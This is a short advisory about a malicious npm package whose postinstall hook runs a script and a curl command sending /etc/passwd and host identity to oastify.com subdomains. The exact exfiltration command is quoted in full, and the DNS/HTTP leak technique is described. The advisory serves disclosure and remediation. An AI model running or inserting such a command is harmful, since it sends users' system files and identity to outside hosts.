Malicious code in @easy-entry/outside-registration-fop-navigator (npm)

On npm install, package.json's postinstall hook executes node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com, sending the installer's /etc/passwd contents and hostname to a Burp Collaborator subdomain. In parallel, scripts/scream3gg.js hex-encodes os.hostname(), os.homedir(), and os.userInfo().username and issues a fetch to http://<hex>.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com, leaking installer host identity through DNS/HTTP to the attacker. Both behaviors fire automatically and unconditionally on default install.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
